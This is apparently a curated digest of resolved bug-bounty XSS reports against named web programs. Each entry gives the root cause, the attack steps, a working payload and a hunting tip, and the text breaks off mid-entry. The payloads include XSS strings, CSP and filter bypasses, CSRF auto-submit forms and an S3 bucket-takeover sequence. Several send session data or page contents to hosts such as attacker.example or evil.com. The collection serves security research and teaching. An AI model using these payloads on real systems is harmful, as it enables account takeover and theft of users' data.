Stored XSS via hacker-facing Custom Field + unsanitized change history
◆ Medium
Specimen #1173040 · security · awarded · 146 votes · resolved
Program securitySurface web
Root cause
A hacker-facing custom field value is stored unsanitized and rendered to the program admin; it fires when the admin edits the field, and because the field-change (from/to) audit log is also unsanitized the payload persists even after the value is 'fixed'.
Method
- Target program enables a hacker-facing custom (text) field
- Submit a report putting the payload in that Additional Information field
- When an admin edits/saves the field, XSS fires; the old value stays in the change log and re-fires later
"><img src=x onerror=alert(document.domain)>
Insight — Custom/user-defined fields are often exempt from the main sanitizer. Also test the audit/history view: change-tracking that stores both old and new values verbatim makes the XSS permanent even after remediation of the live value.
Real-world example
Reflected XSS via legacy <isindex> tag on a forgotten test page
◆ Medium
Specimen #2038943 · acronis · 100 · 133 votes · resolved
Program acronisSurface web
Root cause
A leftover test page reflects the path/input unencoded; a legacy <isindex type=image onerror> payload (plus <script>) executes where more common tags might be filtered.
Method
- Locate an old test/debug page (e.g. /test/testenv.html)
- Append the payload after the path
- Load to execute
https://TARGET/test/testenv.html/%3C/pre%3E%3Cisindex%20type%3Dimage%20src%3D1%20onerror%3Dalert(9166)%3E%3Cscript%3Ealert(origin)%3C/script%3E
Insight — Enumerate forgotten test/debug pages (testenv, phpinfo, debug) - they often reflect input unsanitized. Keep legacy tags like <isindex type=image onerror>, <marquee>, <details ontoggle> in your payload set for filters that only block img/svg/script.
Real-world example
javascript: URI href-injection sink via custom-link (CSP-gated)
◆ Medium
Specimen #1804177 · stripe · 2000 · 130 votes · resolved
Program stripeSurface web
Root cause
A custom-link app feature accepts a javascript: URI as a link target and renders it into an href, so clicking runs JS; here execution is stopped only by CSP, but the unsanitized-href sink is real.
Method
- Install the custom-link app
- Create a link with target javascript://%0aalert(1)
- Click it - the href points at javascript: (execution blocked by CSP in this app, would run without CSP)
javascript://%0aalert(1)
Insight — Any 'link target' / 'website URL' field is a javascript: sink candidate. javascript://%0a<code> uses // to make the scheme a label and %0a (newline) to terminate the comment so the code runs. Report the sink even when CSP blocks it - many programs pay and it fails open elsewhere.
Real-world example
Insecure postMessage handler: no origin check + e.source===window.opener always true
◆ Medium
Specimen #374919 · security · awarded · 128 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A third-party chat widget (Drift) handler accepts messages when e.source===window.opener, which is always true for a popup, effectively skipping origin validation and letting an opener page drive widget events / url(javascript:) sinks.
Method
- Open the target page as a popup from an attacker page (attacker becomes window.opener)
- postMessage crafted events; e.source===window.opener passes so messages are handled
- Drive the widget into a url("javascript:...") sink (CSP may block execution but content/action manipulation succeeds)
// vulnerable: if (e.source===t.contentWindow || e.source===window.opener) { handleMessage(e.data) }
// window.opener always equals the opener, so origin is never validated
win=window.open('https://TARGET');
win.postMessage(payload,'*'); // url("javascript:alert(1)") style gadget
Insight — e.source comparisons (contentWindow/window.opener) are NOT origin checks. Any opener-based comparison is attacker-satisfiable via window.open. Treat third-party embedded widgets (chat/analytics) as part of your postMessage attack surface.
Real-world example
Reflected XSS in return-path href triggered by Back button
◆ Medium
Specimen #1754843 · shopify · awarded · 128 votes · resolved
Program shopifySurface webTag open-redirect
Root cause
The return_page_pathname param is reflected into an anchor's href; a javascript: value executes only when the victim clicks the browser Back button (which navigates the crafted href) before the page finishes loading.
Method
- Craft the marketing-reports URL with return_page_pathname=javascript:alert('xss')
- Get an authenticated staff member to open it
- XSS fires when they hit Back before full load
https://[SHOP].myshopify.com/admin/marketing/reports/[ID]?return_page_pathname=javascript:alert('xss')&return_page_title=Marketing%20overview
Insight — Params meant to store a 'return to' path often end up as a navigable href; test javascript: there. Unusual trigger: navigation happens on Back-button, so a payload that looks inert on load can still be a real XSS.
Real-world example
Stored XSS via email-preview iframe that lost its sandbox
◆ Medium
Specimen #729424 · shopify · 1000 · 124 votes · resolved
Program shopifySurface web
Root cause
An admin Timeline feature renders email contents in an <iframe> that was no longer sandboxed after a deploy, so attacker-controlled email HTML executes JS on /admin.
Method
- As a customer/attacker, send an email whose HTML contains a script
- Staff opens the customer's message in the admin Timeline email preview
- The un-sandboxed iframe executes the email's script on /admin
<!-- HTML email body -->
<img src=x onerror=alert(document.domain)>
Insight — iframes rendering untrusted content (email previews, user HTML) rely entirely on the sandbox attribute; a deploy that drops sandbox re-opens stored XSS. Re-test preview/embedding features after UI changes, and confirm sandbox is present.
Real-world example
Stored XSS in document Title field (canonical name-field primitive)
◆ Medium
Specimen #1321407 · localizejs · 50 · 124 votes · resolved
Program localizejsSurface web
Root cause
A user-supplied document Title is stored and later rendered into HTML without encoding, giving a straightforward stored XSS.
Method
- Create a project / upload a document
- Set the Document Title to the payload and save
- View where the title is rendered to fire
"><img src=x onerror=alert(document.domain)>
Insight — Title/name/label fields are the highest-yield stored-XSS targets - they're echoed in lists, headers and previews. Always seed the plain "><img src=x onerror> canary in every name field and follow where it's rendered.
Real-world example
Stored XSS on localhost:* via unsanitized torrent filename + service worker persistence
◆ Medium
Specimen #681617 · brave · none · 124 votes · resolved
Program braveSurface desktopChain crafted torrent filename -> XSS on localhost:port -> sTag file-upload
Root cause
The integrated torrent downloader used the attacker-controlled torrent filename as an unsanitized local page/URL, and a downloaded file served on localhost could register a service worker, allowing arbitrary JS to execute in the localhost:port origin.
Method
- Craft a .torrent whose filename is an HTML/JS payload
- Victim opens the crafted torrent in Brave and it downloads to a localhost-served path
- JS executes on http://localhost:PORT; a service worker persists the payload
- Any later app running on the same port is compromised (embeddable in an iframe, port brute-forceable)
Crafted .torrent with a filename containing an HTML/script payload; served on localhost:* and used to register a service worker (original exec.ga PoC now dead).
Insight — Filenames from downloads/uploads are an under-tested injection sink; localhost-served content can register a service worker to gain persistent XSS across whatever app later binds that port.
Real-world example
Stored XSS via claimable deleted S3 bucket referenced by legacy widget
◆ Medium
Specimen #1598347 · security · awarded · 122 votes · resolved
Program securitySurface webChain dangling S3 script ref -> bucket takeover -> stored XSTag subdomain-takeoverTag cloud-aws
Root cause
An old Uberflip page_widget (proxied under /resources) loaded a script from an S3 bucket that no longer existed; anyone could create that bucket name and serve JS that runs in the first-party origin.
Method
- Enumerate legacy /read/page_widget/<numeric id> widgets across customers
- Find one loading an HTTPS <script src> from an S3 bucket
- Test whether the bucket still exists (aws s3api create-bucket)
- Claim the bucket, upload the referenced JS file with public-read ACL
- Load the widget URL to execute JS in the proxied first-party origin
aws s3api create-bucket --bucket vspcode
echo "alert(document.domain+':'+location.href);" > vspoverlayrun1.js
aws s3 cp vspoverlayrun1.js s3://vspcode/ --acl public-read
# then visit https://www.hackerone.com/resources/read/page_widget/413780
Insight — Grep archived/legacy pages for <script src> pointing at third-party storage (S3/GCS/Azure) and check if the bucket/host is unclaimed - a dangling script reference is stored XSS via takeover. Note www vs apex split still enables convincing phishing since password managers autofill across them.
Real-world example
Stored XSS via over-permissive auto-link regex accepting javascript:// pseudo-protocol
◆ Medium
Specimen #707720 · automattic · awarded · 118 votes · resolved
Program automatticSurface web
Root cause
SyntaxHighlighter auto-linked URLs in code comments using /\w+:\/\/[...]*/ which matches any scheme, so javascript://%0d<code> becomes a clickable javascript: link.
Method
- Post a comment on a *.wordpress.com site using the [code] SyntaxHighlighter block
- Inside it place javascript://%0dalert(document.cookie) (%0d comments out the //)
- The plugin's URL regex auto-links it as a javascript: href
- Clicking the highlighted link executes JS in the site origin
[code]javascript://%0dalert%28document.cookie%29[/code]
// vulnerable regex: /\w+:\/\/[\w-.\/?%&=:@;#]*/g
Insight — Any linkifier that whitelists by \w+:// instead of an explicit http/https allowlist will linkify javascript:. The // + %0d (CR) trick makes javascript: URIs look URL-shaped so they match generic URL regexes.
Real-world example
Self-XSS to full ATO via cross-locale Cookie Bridge + oversized-cookie HttpOnly bypass
◆ Medium
Specimen #2089042 · yelp · awarded · 118 votes · resolved
Program yelpSurface webChain self-XSS (email) -> cookie bridge login-as-attacker ->Tag account-takeover
Root cause
An email-reflection self-XSS became a real XSS by using Yelp's cross-domain cookie_bridge to log the victim into the attacker account (where the XSS lives); HttpOnly session cookies were then stolen by preventing the one-time cookie_fsid from being consumed and reading the retrieve-URL cross-tab via same-origin.
Method
- Register business account with an XSS-payload email (64-char limit) to get a self-XSS gadget
- Use cookie_bridge/store?dhl=da_DK to mint a retrieve URL that signs a victim into the attacker account on the .dk locale and triggers the XSS (redir=/home#<b64 payload>)
- From attacker-context XSS, redirect the opener tab through cookie_bridge to sign the victim's OWN session into biz.yelp.dk
- Before that, set 15-16 oversized cookies on path=/cookie_bridge/retrieve so the victim's retrieve request 400s and its cookie_fsid is NOT consumed
- Same-origin now, read window.opener.location.href to recover the victim's unconsumed retrieve URL; visit it to become the victim
email: "<iframe/onload=eval(atob(location.hash.substring(1)))>"@calc.sh
// stage payload (base64 in #):
for (var i=0;i<16;i++){document.cookie=`X${i}=${'X'.repeat(1000)}; max-age=86400; path=/cookie_bridge/retrieve`}
window.opener.postMessage({redirect:"https://biz.yelp.com/cookie_bridge/store?dhl=da_DK"},"*");
setTimeout(()=>alert("sign in as victim: "+window.opener.location.href),5000);
Insight — A self-XSS is exploitable if the app has a mechanism to log a victim into YOUR account (cookie bridge, SSO relay, login-CSRF). HttpOnly is not the last line: if a one-time token rides in a URL, blocking its consumption with oversized cookies (openresty/nginx 400) keeps the URL replayable; a shared cross-locale origin lets you read it via window.opener.
Real-world example
CSP bypass via whitelisted Google reCAPTCHA AngularJS gadget + nonce theft
◆ Medium
Specimen #2279346 · portswigger · awarded · 113 votes · resolved
Program portswiggerSurface webChain HTML injection -> Angular gadget from whitelisted recaptc
Root cause
The CSP whitelisted https://www.google.com/recaptcha/, whose main.min.js bundles AngularJS; Angular's ng-on-error gives JS execution, and on nonce-based CSP the running script can read an existing [nonce] element and stamp it onto a new <script> to load arbitrary code.
Method
- Confirm CSP allows google.com/recaptcha and the page has an HTML-injection sink
- Load the recaptcha main.min.js (contains Angular) and bootstrap with ng-app
- Use ng-on-error to run JS despite lack of unsafe-inline
- Query document for an element with [nonce], copy its nonce onto a dynamically created <script src=//evil>, append to load arbitrary external JS
<div ng-app=application ng-csp>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="//evil.com/x.js";b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
Insight — CSP script-src allowlists that include large Google/CDN paths often ship an Angular/JSONP/Trusted-Types-bypass gadget - check whitelisted origins for Angular. On nonce-based CSP, a script that already executes can harvest a live [nonce] from the DOM and reuse it to inject further scripts, defeating the nonce.
Real-world example
Stored XSS in messages via HTML-entity-encoded payload; session exfil via account/sessions page
◆ Medium
Specimen #1669764 · sidefx · USD 500 · 110 votes · resolved
Program sidefxSurface webChain entity-encoded stored XSS -> read /account/sessions ->Tag account-takeover
Root cause
Message content was HTML-entity-decoded on render without re-sanitization, so an entity-encoded <img onerror> payload was reconstructed into live markup; cookies were unstealable so the reporter exfiltrated the session ID shown on the /account/sessions page instead.
Method
- Send a message whose payload is written entirely in HTML entities (<img ... onerror="...">)
- On view, the app decodes entities and the tag executes
- Since cookies aren't accessible, fetch /account/sessions in-page, read the session ID from the response, and exfiltrate it base64-encoded to an attacker image URL
https://example.com/">sadf</a><img src="xxx"onerror="fetch('https://www.sidefx.com/account/sessions').then(response=>{response.text().then(ddd=>{let el=document.createElement('img');el.src='http://myfakesite.com?q='+btoa(encodeURIComponent(ddd));document.body.appendChild(el)})})">
Insight — When output is HTML-entity-decoded at render, submit the whole payload as entities to slip past filters that only inspect literal < > ". When cookies are HttpOnly, look for an in-app page that displays the session ID/token (sessions/security pages) and exfiltrate that instead.
Real-world example
Reflected XSS via unescaped error-repopulated form field + missing CSRF (forced POST)
◆ Medium
Specimen #470206 · shopify · awarded · 104 votes · resolved
Program shopifySurface webChain forced-POST error reflection -> reflected XSS -> if stTag csrf
Root cause
The customer registration form re-displayed submitted first/last name unescaped when returning a validation error (e.g. short password), and the form had no CSRF protection, so an attacker could auto-submit a POST that reflects HTML into the response.
Method
- Submit the register form with HTML in first/last name and a deliberately invalid password to force the error page
- Observe the name value reflected unescaped in the re-rendered form
- Host an auto-submitting cross-site form (no CSRF token needed) to deliver the reflected XSS to victims
<form action="https://SHOP.myshopify.com/account/register" method=POST>
<input name="customer[first_name]" value='"><img src=x onerror=alert(document.domain)>'>
<input name="customer[password]" value="1"> <!-- too short -> error page reflects name -->
</form><script>document.forms[0].submit()</script>
Insight — Validation-error pages that echo submitted values are a classic reflected-XSS sink even on POST endpoints - if there is no CSRF token, a cross-site auto-submit turns the POST reflection into a deliverable reflected XSS. Force the error by violating another field (short password).
Real-world example
javascript: scheme in redirect/return URL parameter -> XSS on navigation
◆ Medium
Specimen #1962951 · reddit · USD 500 · 101 votes · resolved
Program redditSurface webChain open redirect param -> javascript: scheme accepted -> Tag open-redirect
Root cause
A redirect parameter (dest) accepted a javascript: URI and used it as a navigation target after login, so completing the flow executed JS; the same class recurs wherever a returnTo/referer/cancelUrl param is placed into an href or location without a scheme allowlist.
Method
- Find a redirect/return param (dest, returnTo, referer, cancelUrl) reflected into an <a href> or used for navigation
- Set it to javascript:alert(document.domain)
- Trigger the navigation (login, click Continue/X/Done button)
- JS executes in the site origin
https://www.reddit.com/login/?dest=javascript:alert(document.domain);
Insight — Redirect/return-URL parameters are dual-use: an open redirect if only host is checked, an XSS if the javascript: scheme is allowed. Always test javascript:, and note it usually needs the follow-up click that consumes the redirect. Validate schemes with an explicit http/https allowlist, not by blocking http://evil.
Real-world example
javascript:-URI filter bypass when validator requires an allowlisted host prefix
◆ Medium
Specimen #425200 · paypal · awarded · 100 votes · resolved
Program paypalSurface web
Root cause
returnUrl/cancelUrl (base64 in the flow param) were placed into button hrefs; the filter accepted javascript: only if the URL looked like javascripT:*.paypal.com and blocked most special chars, but valid JS syntax (assignment, comma operator, location=) plus \xNN hex encoding smuggled an executable payload.
Method
- Decode/observe flow= base64 -> returnUrl={paypal_url}&cancelUrl={paypal_url} used as button href
- Satisfy the host check with javascripT:PAYPAL.com=1 (PAYPAL exists as a global; paypal does not)
- Use the comma operator to add ,location='javascript:...'
- Hex-encode the blocked chars (parens/quotes/<>) as \xNN so JS decodes them before assigning location
- Re-encode to base64 and load; click the X/Done button
returnUrl=javascripT:PAYPAL.com=1,location='javascript:\x3csvg\x20onload=alert\x28document.domain\x29\x3e'
// entire flow value base64-encoded in ?flow=
Insight — When a javascript:-URI filter demands the URL 'look like' an allowlisted domain, remember the href is still executed as JS: use a real global (PAYPAL), the comma operator to chain statements, and \xNN hex escapes to reintroduce filtered characters (parens, quotes, <>) that the JS engine decodes at runtime.
Real-world example
Reflected XSS in appliance SSL-VPN error page (FortiGate /remote/error)
◆ Medium
Specimen #1799197 · mtn_group · none · 100 votes · resolved
Program mtn_groupSurface web
Root cause
A network-appliance web UI reflects an attacker-controlled error-message query parameter into the HTML body without encoding, so the value renders as markup.
Method
- Identify the appliance login/error endpoint (host:10443/remote/error is FortiGate SSL-VPN)
- Place a script/tag payload in the errmsg parameter
- Send the crafted URL to a victim who visits the vulnerable appliance
https://TARGET:10443/remote/error?errmsg=--%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Insight — Enterprise appliances (Fortinet/Citrix/etc.) expose error/redirect pages that echo parameters like errmsg, redir, message. Fingerprint the vendor by port/path (10443 + /remote/) and test those params first; a leading --> closes any injected HTML comment context.
Real-world example
Reflected XSS via query/jwt param reflected into a mobile webview page
◆ Medium
Specimen #2015074 · indrive · awarded · 100 votes · resolved
Program indriveSurface web
Root cause
A webview bootstrap page reflects a request parameter (here jwt) directly into HTML; breaking out of the enclosing attribute yields XSS.
Method
- Find a /webview/ bootstrap endpoint that takes phone/token/jwt/locale params
- Inject an attribute-breakout img payload into a reflected param
- Load the URL; the onerror fires
https://TARGET/webview/v1?phone=X&token=X&service=cargo&locale=en&jwt=%22%3E%3Cimg%20src=raw%20onerror=alert(document.domain)%3E#/
Insight — Webview loader pages built for mobile apps often reflect every query param verbatim and are under-tested vs the main web app. Fuzz each param (jwt/token/locale/service) with "><img onerror> to detect attribute breakout.
Real-world example
Reflected XSS breaking out of a JavaScript string context
◆ Medium
Specimen #1410459 · shopify · USD 3500 · 98 votes · resolved
Program shopifySurface web
Root cause
A numeric-looking param (installation_id) is reflected inside an inline <script> block; closing the current JS statement/braces lets the attacker inject arbitrary JS that runs on load.
Method
- Find a param reflected inside inline JS (OAuth/GitHub-setup callback pages)
- Close the surrounding braces/parens, insert your call, then re-open a dummy block to keep syntax valid
- Deliver URL; JS runs when the authenticated page loads
https://online-store-git.shopifycloud.com/github/setup?installation_id=20913869}}})};}alert(1337);if(1==2){k=new Promise(function(){if(1==2){v={e:%201&setup_action=install
Insight — When a reflection lands in a JS context (not HTML), tags are useless; instead balance the syntax: close the object/function with }})};, run your payload, then start a fake if(1==2){ block so the trailing original code stays valid. Test with a canary and watch for JS syntax errors in console.
Real-world example
DOM XSS: location.hash flows into a jQuery selector sink
◆ Medium
Specimen #704266 · forescout_technologies · awarded · 98 votes · resolved
Program forescout_technologiesSurface web
Root cause
Page JS passes window.location.hash unescaped into a jQuery selector string ($('a[href="'+hash+'"]')); jQuery parses tag-like input in a selector and creates DOM elements, executing the payload.
Method
- Grep client JS for jQuery(...) selectors built from location.hash/href/search
- Put an img/svg payload after # in the URL
- Open in a browser that does not encode the fragment (legacy IE/Edge)
https://TARGET/#<img src=x onerror=alert('XSS')>
Insight — jQuery's $(userInput) treats HTML-looking strings as element creation, so any location.hash reaching a selector is a DOM XSS sink even without innerHTML. Modern Chrome/Firefox encode the fragment on the wire, so impact is browser-dependent — note the limitation honestly.
Real-world example
Stored XSS via WordPress shortcode/embed param attribute breakout
◆ Medium
Specimen #920005 · automattic · awarded · 96 votes · resolved
Program automatticSurface web
Root cause
An embed-media shortcode value ([wpvideo ID]) is stored and later reflected into an HTML attribute; tampering the stored value in the raw request to add "> breaks out and injects an element.
Method
- Insert an Embed Media / oEmbed shortcode in the editor
- Intercept the save request and edit the media[...] param to append an attribute-breakout payload
- Reload the survey/quiz page (and its public survey.fm link) to fire the stored XSS
[wpvideo%20w0MiG12Exx1\"><svg/onload=prompt(document.domain)>]
Insight — Rich-content shortcode/embed handlers often echo the raw shortcode attribute into markup. The UI may sanitize on input, but the underlying save API frequently does not — always intercept and inject at the request level, and check whether the payload also renders on the public (subdomain) view.
Real-world example
XSS via javascript: URI reflected into an anchor href (share widget)
◆ Medium
Specimen #882546 · automattic · awarded · 91 votes · resolved
Program automatticSurface web
Root cause
A share/embed tool reflects a title/URL param into an <a href> without scheme validation, allowing a javascript: URI that runs when the victim clicks the link.
Method
- Use the share widget to craft a post whose title contains an anchor with a javascript: href
- Publish; victim reblogs/opens the post
- Victim clicks the link (opens in new tab), JS executes in the site origin
https://www.tumblr.com/widgets/share/tool?url=https%3A%2F%2Fexample%2F&title=%3Ca%20href=%22javascript:alert(document.domain);//http://evil.com/%22%3Eclick%20me%3C/a%3E&selection=x&shareSource=chrome_extension
Insight — Wherever user input becomes an href, test a javascript: URI — many apps block <script> but forget scheme allow-listing on links. Impact requires a click, so pair it with enticing anchor text; //comment after the payload swallows the rest of the URL.
Real-world example
CSRF-set AI chatbot greeting -> markdown-image javascript: XSS -> GraphQL PII exfil
◆ Medium
Specimen #2509022 · shopify · USD 1600 · 88 votes · resolved
Program shopifySurface webChain CSRF sets greeting -> markdown image javascript: URI ->Tag graphql
Root cause
A cross-site POST sets an attacker-controlled AI-assistant greeting in the victim's session; the greeting is rendered as markdown, and a markdown image/link whose URL is a javascript: URI executes JS when the victim activates the rendered link.
Method
- CSRF POST to the search/greeting route to store a greeting value containing a markdown image with a javascript: URL
- Victim loads help center; greeting renders the markdown
- Victim activates the link (here mouse-wheel/new-tab click) -> JS runs and calls internal GraphQL to read conversations and subscribe the attacker's email
<form action="https://help.shopify.com/en/search?_data=routes%2F($locale).search" method="POST">
<input name="greeting" value="))">
</form>
// decoded JS: fetch('//attacker/?'+JSON.stringify(window.__remixContext.state.loaderData.root.userInfo));
// then POST /messages/graphql query conversations + mutation subscriberCreate(email:attacker)
Insight — Markdown renderers are a rich XSS surface: if image/link URLs aren't scheme-validated,  executes. Feature inputs an attacker can seed via CSRF (chatbot greetings, display prefs) become stored/reflected XSS. Once you have JS in an SPA, read window.__remixContext/__NEXT_DATA__ for PII and hit the app's own GraphQL with its auth.
Real-world example
CSRF -> reflected XSS via POST-body reflection + content-type spoof on .html path
◆ Medium
Specimen #1237321 · urbandictionary · none · 85 votes · resolved
Program urbandictionarySurface webChain CSRF (text/plain form) -> POST body reflected -> .html
Root cause
A host reflects the raw POST body in its response, and requesting any path ending in .html makes the server return Content-Type text/html, so a cross-site text/plain form auto-submits a body that renders as HTML.
Method
- Confirm the endpoint reflects request body and serves text/html for *.html URLs
- Build an auto-submitting HTML form with enctype=text/plain targeting /anything.html
- Put the markup payload in the input name (text/plain forms send name=value verbatim)
<form action="https://TARGET/xsxsxs.html" method="POST" enctype="text/plain">
<input name=" <script>alert(document.domain)</script>" value="">
</form>
<script>document.forms[0].submit()</script>
Insight — A body reflection is exploitable cross-site when you control the response content type. The .html-path trick forces text/html; enctype=text/plain lets a CSRF form deliver arbitrary raw bytes (put the payload in the field name). Test appending .html to reflecting POST endpoints.
Real-world example
Persistent DOM XSS via localStorage (source persisted, later read into innerHTML)
◆ Medium
Specimen #297968 · x · awarded · 84 votes · resolved
Program xSurface webChain URL fragment -> localStorage.lastArticleHref (page A) -&g
Root cause
Page JS stores location.href (including the fragment) into a localStorage key (lastArticleHref) on one page; the homepage later reads that key and writes it into innerHTML while building breadcrumbs, without encoding — so a payload in the fragment persists and executes on later visits.
Method
- Send victim a link to an article page with the payload in the URL fragment
- Article JS writes the fragment into localStorage.lastArticleHref
- When the victim later opens the homepage, it reads the key and innerHTMLs it -> XSS persists across tabs/visits until localStorage is cleared
https://help.twitter.com/en/using-twitter/follow-requests#"><svg/onload=alert(1)>
// persists in localStorage.lastArticleHref, later: breadcrumbElement.innerHTML = '...href="'+lastArticleHref+'"...'
Insight — DOM XSS sources and sinks can live on different pages: a value written to localStorage/sessionStorage on page A and innerHTML'd on page B is a persistent client-side XSS. When tracing DOM XSS, map storage writes/reads across the app, not just within one page. Even without JS exec (CSP), injected HTML enables convincing phishing login forms.
Real-world example
Reflected XSS via JS-string breakout in search parameter
◆ Medium
Specimen #1496897 · mtn_group · none · 81 votes · resolved
Program mtn_groupSurface webTag account-takeover
Root cause
A search term is reflected inside a single-quoted JavaScript string literal without escaping, so quote+arithmetic breaks out and executes.
Method
- Submit a canary in the search box and view source
- If reflected inside a JS string ('...'), break out with a quote and expression
- Confirm alert()
'-alert(1)-'
Insight — When a canary lands inside a JS string context (not HTML), classic tag payloads fail; use string-breakout forms like '-alert(1)-' or ';alert(1)//. Test search endpoints that echo the query into inline scripts.
Real-world example
Stored XSS via javascript: href in rich email-template editor
◆ Medium
Specimen #1376672 · judgeme · USD 500 · 80 votes · resolved
Program judgemeSurface webTag account-takeover
Root cause
A rich-text email-template editor lets a user insert a link whose href is not scheme-validated, storing javascript: which fires on click in the rendered template.
Method
- Open the email template / rich-text editor
- Insert a link and set its href to a javascript: payload
- Save; clicking the rendered link executes the script
<a href="javascript:alert(document.domain)">Click Here</a>
Insight — Rich-text and template editors that allow links are a recurring stored-XSS sink when they trust the href scheme. Always test the link/URL widget with javascript: and data: schemes.
Real-world example
mXSS / sanitizer bypass via SVG CDATA namespace confusion in email HTML
◆ Medium
Specimen #988272 · basecamp · awarded · 80 votes · resolved
Program basecampSurface web
Root cause
Raw email MIME/HTML content is stored and re-rendered; markup that mutates on parse (svg/CDATA, table background namespace confusion) survives sanitization and reconstitutes into live img/onerror nodes in the message viewer.
Method
- Forward an email or save a draft, intercept POST /messages
- Set message[content] to mutation-XSS markup (svg CDATA + table background breakout)
- Recipient opens the message; markup mutates into an executing element
<svg><![CDATA[><table background="]])><img src=xx:x onerror=alert(2)//"></svg>
Insight — Message/email bodies rendered from stored HTML are a prime mutation-XSS surface. Feed CDATA/svg/foreignObject and namespace-confusion payloads to test whether the sanitizer's parse tree matches the browser's. Injection can be proven even when a CSP blocks the final inline handler.
Real-world example
Stored XSS in HTML export / GDPR data-download (unescaped export path)
◆ Medium
Specimen #3779690 · rocket_chat · none · 80 votes · resolved
Program rocket_chatSurface webChain unauth stored XSS -> export data exfiltration (messages bTag file-upload
Root cause
The room HTML export (and shared GDPR 'download my data') code path writes message content and username directly into HTML with no escaping, while the web UI and email paths in the same codebase escape correctly; opening the exported file executes stored payloads.
Method
- Enter an unauthenticated payload via LiveChat visitor+message API (no auth/CAPTCHA)
- Payload persists in the message store
- Admin/agent exports the room as HTML (rooms.export type=file format=html), or any user's GDPR export includes the shared room
- Victim opens the exported HTML in a browser (file://) -> onerror fires
<img src=x onerror="fetch('https://attacker.example/exfil',{method:'POST',body:btoa(document.body.innerText)})">
Insight — Export/download/report-generation features (HTML/PDF/CSV export, GDPR data dumps, transcript downloads) frequently bypass the escaping the live UI applies, and open in file:// with no CSP. Diff the escaping between the render path and the export path in the same codebase; unauthenticated LiveChat/visitor endpoints are a common injection entry.
Real-world example
Stored XSS via rich-text 'Show HTML' source editor
◆ Medium
Specimen #1147433 · shopify · USD 5300 · 75 votes · resolved
Program shopifySurface web
Root cause
Product/collection description rich-text editors expose a 'Show HTML' source mode that stores raw HTML with insufficient sanitization, so an img/onerror payload persists and executes on later admin page loads.
Method
- Create a product or collection
- Open description, click 'Show HTML' (raw HTML mode)
- Paste an img/onerror payload and save
- Reload -> stored XSS fires in the admin context
">\]<img src=x onerror=alert(document.cookie)>
Insight — When a program (re)opens rich-text-editor XSS to scope, the raw-HTML/source toggle of the editor is the highest-yield sink; sanitization on the WYSIWYG path is often skipped on the source path. The ">\] prefix helps break out of surrounding template/markdown wrappers.
Real-world example
Second-order stored XSS via unescaped object name reused in another view
◆ Medium
Specimen #618031 · shopify · USD 1000 · 75 votes · resolved
Program shopifySurface web
Root cause
Product names are stored (safe in their own view) but rendered unescaped when the product is referenced in a different feature (discount-code comments/timeline), producing stored XSS outside the editor context.
Method
- Create a product whose name contains an XSS payload
- Create/edit a discount code and reference/comment that product
- Open the discount code page -> the product name executes
"'><img src=x onerror=alert(document.domain)>
Insight — Test object names (products, users, tags, files) not only where they are entered but everywhere they are later displayed. A field escaped in view A is frequently emitted raw in view B (timelines, activity logs, dropdowns, comments) = second-order stored XSS. New feature deploys that surface old data are prime hunting.
Real-world example
window.open with untrusted OAuth authorizeEndpoint (javascript: scheme) -> XSS to RCE
◆ Medium
Specimen #3211031 · cloudflare · USD 550 · 75 votes · resolved
Program cloudflareSurface webChain untrusted authorizeEndpoint -> client XSS -> RCE via MTag oauth
Root cause
The use-mcp OAuth2 flow passes an authorization endpoint URL provided by the (untrusted) MCP server into window.open without validating the scheme, so a javascript: authorizeEndpoint executes code under the consuming page.
Method
- Attacker controls an MCP server the client connects to
- Server advertises an authorizeEndpoint with a javascript: scheme
- Client's OAuth flow calls window.open(authorizeEndpoint) -> script runs under the client page
- Escalate via MCP stdio transport toward command execution
authorizeEndpoint = "javascript:<payload>" // fed to window.open() in the OAuth2 flow
Insight — OAuth/OIDC client libraries that take the authorization/redirect/discovery endpoint from a remote, attacker-influenced source (dynamic client registration, MCP server metadata, .well-known) must scheme-validate before window.open/location. Treat any server-provided URL used for navigation as a javascript:/data: XSS sink. Emerging LLM/MCP integrations extend this to RCE via stdio transports.
Real-world example
Reflected XSS via attribute breakout in GET parameter
◆ Medium
Specimen #1043804 · automattic · awarded · 75 votes · resolved
Program automatticSurface webChain reflected XSS -> auto-submit account-closure/data-export
Root cause
A GET parameter is reflected into an HTML attribute/DOM without escaping, so "> closes the tag and an img/onerror payload executes; zero-interaction on page load.
Method
- Find a param reflected into the page (posttitle here; relsexp on the merged DuckDuckGo case)
- Send a canary, confirm it lands in an attribute or DOM sink
- Break out with "> and a self-firing tag
- Deliver the URL to the victim
https://www.intensedebate.com/js/getCommentLink.php?...&posttitle=%3Cimg%20src=x%20onerror=alert(document.domain)%3E
// DuckDuckGo (also-seen): https://duckduckgo.com/?q=a&relsexp="><img src=/ onerror=alert(document.domain)>&ia=web
Insight — The bread-and-butter reflected/DOM XSS: enumerate every GET param (including secondary ones like posttitle/relsexp that scripts read), reflect a canary, and break out with "><img src=x onerror=...>. Endpoints that build widgets/links from many params (comment-link, share, embed) often echo several of them.
Real-world example
Blind stored XSS firing in an internal data/parquet viewer
◆ Medium
Specimen #1103298 · shopify · awarded · 74 votes · resolved
Program shopifySurface web
Root cause
Data submitted through a public entry point flows into an internal analytics/data pipeline and is later rendered unsanitized by an internal tool (Parquet Viewer) as a local file:// HTML page, executing a blind-XSS canary on an employee machine.
Method
- Seed blind-XSS canary payloads into many public input fields
- Wait for the canary callback (IP, UA, page URL, DOM)
- Callback shows execution in an internal tool rendering exported data (file:// parquet-viewer HTML)
- Report the internal-tool exposure
<script src=//your-blind-xss-collector></script> // seeded broadly; fired at file://localhost/.../parquet-viewer-*.html
Insight — Seed blind-XSS payloads (XSS Hunter / interactsh) into every stored field; they often detonate in back-office/analytics tools (log viewers, data-warehouse/parquet viewers, admin dashboards, support consoles) that render exported records with no escaping, frequently as local file:// pages. The callback reveals internal hostnames, employees, and file paths.
Real-world example
Request-URI parsing differential -> open redirect + javascript: XSS
◆ Medium
Specimen #260744 · x · USD 1120 · 73 votes · resolved
Program xSurface webChain open-redirect -> reflected XSSTag account-takeover
Root cause
The Location header and the on-page fallback link parse the Request-URI differently; a malformed authority/port lets the browser block the redirect while the page emits an attacker-controlled javascript: href.
Method
- Send a crafted Request-URI reflected into both Location and an on-page <a href>
